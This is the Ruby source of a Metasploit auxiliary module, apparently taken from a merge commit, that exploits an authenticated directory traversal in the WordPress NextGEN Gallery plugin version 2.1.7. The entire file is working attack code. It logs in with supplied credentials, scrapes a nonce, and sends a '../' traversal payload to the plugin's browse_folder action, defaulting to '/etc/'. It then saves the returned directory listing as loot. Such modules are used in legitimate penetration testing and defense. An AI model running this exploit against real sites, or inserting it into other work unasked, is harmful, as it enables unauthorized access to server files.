Land #5913, Add WP NextGEN Gallery Directory Traversal Vuln
wchen-r7
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'json'
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require 'nokogiri'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Auxiliary::Report
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include Msf::HTTP::Wordpress
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include Msf::Auxiliary::Scanner
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'WordPress NextGEN Gallery Directory Read Vulnerability',
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'Description' => %q{
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This module exploits an authenticated directory traversal vulnerability
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in WordPress Plugin "NextGEN Gallery" version 2.1.7, allowing
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to read arbitrary directories with the web server privileges.
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},
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'References' =>
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[
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['WPVDB', '8165'],
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['URL', 'http://permalink.gmane.org/gmane.comp.security.oss.general/17650']
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],
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'Author' =>
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[
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'Sathish Kumar', # Vulnerability Discovery
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'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
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],
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'License' => MSF_LICENSE
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))
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register_options(
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[
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OptString.new('WP_USER', [true, 'A valid username', nil]),
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OptString.new('WP_PASS', [true, 'Valid password for the provided username', nil]),
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OptString.new('DIRPATH', [true, 'The path to the directory to read', '/etc/']),
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OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
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], self.class)
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end
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def user
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datastore['WP_USER']
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end
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def password
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datastore['WP_PASS']
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end
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def check
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check_plugin_version_from_readme('nextgen-gallery', '2.1.9')
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end
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def get_nonce(cookie)
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res = send_request_cgi(
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'uri' => normalize_uri(wordpress_url_backend, 'admin.php'),
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'method' => 'GET',
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'vars_get' => {
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'page' => 'ngg_addgallery'
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},
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'cookie' => cookie
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)
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if res && res.redirect? && res.redirection
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location = res.redirection
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print_status("#{peer} - Following redirect to #{location}")
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res = send_request_cgi(
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'uri' => location,
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'method' => 'GET',
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'cookie' => cookie
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)
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end
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res.body.scan(/var browse_params = {"nextgen_upload_image_sec":"(.+)"};/).flatten.first
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end
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def parse_paths(res)
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begin
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j = JSON.parse(res.body)
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rescue JSON::ParserError => e
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elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
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return []
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end
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html = j['html']
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noko = Nokogiri::HTML(html)
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links = noko.search('a')
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links.collect { |e| normalize_uri("#{datastore['DIRPATH']}/#{e.text}") }
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end
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def run_host(ip)
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vprint_status("#{peer} - Trying to login as: #{user}")
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cookie = wordpress_login(user, password)
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if cookie.nil?
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print_error("#{peer} - Unable to login as: #{user}")
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return
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end
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vprint_status("#{peer} - Trying to get nonce...")
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nonce = get_nonce(cookie)
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if nonce.nil?
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print_error("#{peer} - Can not get nonce after login")
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return
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end
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vprint_status("#{peer} - Got nonce: #{nonce}")
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traversal = "../" * datastore['DEPTH']
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filename = datastore['DIRPATH']
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filename = filename[1, filename.length] if filename =~ /^\//
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path),
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'headers' => {
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'Referer' => "http://#{rhost}/wordpress/wp-admin/admin.php?page=ngg_addgallery",
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'X-Requested-With' => 'XMLHttpRequest'
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},
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'vars_get' => {
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'photocrati_ajax' => '1'
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},
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'vars_post' => {
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'nextgen_upload_image_sec' => "#{nonce}",
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'action' => 'browse_folder',
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'dir' => "#{traversal}#{filename}"
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},
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'cookie' => cookie
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)
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if res && res.code == 200
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paths = parse_paths(res)
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vprint_line(paths * "\n")
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fname = datastore['DIRPATH']
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path = store_loot(
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'nextgen.traversal',
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'text/plain',
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ip,
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paths * "\n",
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fname
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)
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print_good("#{peer} - File saved in: #{path}")
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else
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print_error("#{peer} - Nothing was downloaded. You can try to change the DIRPATH.")
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end
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end
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end
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